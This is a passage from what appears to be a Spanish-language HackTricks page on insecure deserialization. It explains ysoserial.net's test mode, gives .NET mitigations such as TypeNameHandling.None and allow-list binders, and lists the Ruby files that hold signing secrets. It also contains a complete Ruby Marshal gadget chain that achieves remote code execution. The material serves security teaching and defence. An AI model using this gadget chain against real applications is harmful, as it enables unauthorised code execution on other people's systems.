Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Esto significa que para probar el exploit, el código llamará a serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

En el código anterior es vulnerable al exploit creado. Por lo tanto, si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también sea vulnerable. Por lo tanto, el parámetro --test nos permite entender qué partes del código son vulnerables al exploit de deserialización que ysoserial.net puede crear.

ViewState

Echa un vistazo a este POST sobre cómo intentar explotar el parámetro __ViewState de .Net para ejecutar código arbitrario. Si ya conoces los secretos utilizados por la máquina víctima, lee este post para saber cómo ejecutar código.

Prevención

No permitas que el flujo de datos defina el tipo de objeto al que se deserializará el flujo. Puedes prevenir esto, por ejemplo, utilizando DataContractSerializer o XmlSerializer si es posible.

Donde se utilice JSON.Net, asegúrate de que el TypeNameHandling esté configurado solo en None.

TypeNameHandling = TypeNameHandling.None

Si se va a utilizar JavaScriptSerializer, entonces no lo use con un JavaScriptTypeResolver.

Si debe deserializar flujos de datos que definen su propio tipo, entonces restrinja los tipos que se permiten deserializar. Se debe tener en cuenta que esto sigue siendo arriesgado ya que muchos tipos nativos de .Net son potencialmente peligrosos en sí mismos. Por ejemplo:

System.IO.FileInfo

Los objetos FileInfo que hacen referencia a archivos realmente presentes en el servidor pueden, al deserializarse, cambiar las propiedades de esos archivos, por ejemplo, a solo lectura, creando un posible ataque de denegación de servicio.

Incluso si has limitado los tipos que pueden ser deserializados, recuerda que algunos tipos tienen propiedades que son riesgosas. System.ComponentModel.DataAnnotations.ValidationException, por ejemplo, tiene una propiedad Value de tipo Object. Si este tipo es el tipo permitido para la deserialización, entonces un atacante puede establecer la propiedad Value a cualquier tipo de objeto que elija.

Se debe prevenir que los atacantes puedan dirigir el tipo que será instanciado. Si esto es posible, entonces incluso DataContractSerializer o XmlSerializer pueden ser subvertidos, por ejemplo:

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

La ejecución puede ocurrir dentro de ciertos tipos de .Net durante la deserialización. Crear un control como el que se muestra a continuación es ineficaz.

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}

Para BinaryFormatter y JSON.Net es posible crear una forma más segura de control de lista blanca utilizando un SerializationBinder personalizado.

Mantente actualizado sobre los gadgets de deserialización insegura de .Net conocidos y presta especial atención a los tipos que pueden ser creados por tus procesos de deserialización. Un deserializador solo puede instanciar tipos que conoce.

Intenta mantener cualquier código que pueda crear gadgets potenciales separado de cualquier código que tenga conectividad a internet. Como ejemplo, System.Windows.Data.ObjectDataProvider utilizado en aplicaciones WPF es un gadget conocido que permite la invocación arbitraria de métodos. Sería arriesgado tener una referencia a este ensamblado en un proyecto de servicio REST que deserializa datos no confiables.

Referencias

Ruby

Ruby tiene dos métodos para implementar la serialización dentro de la biblioteca marshal: el primer método es dump que convierte el objeto en flujos de bytes (serializar). Y el segundo método es load para convertir flujos de bytes en objeto de nuevo (deserializar).
Ruby utiliza HMAC para firmar el objeto serializado y guarda la clave en uno de los siguientes archivos:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Otra cadena RCE para explotar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: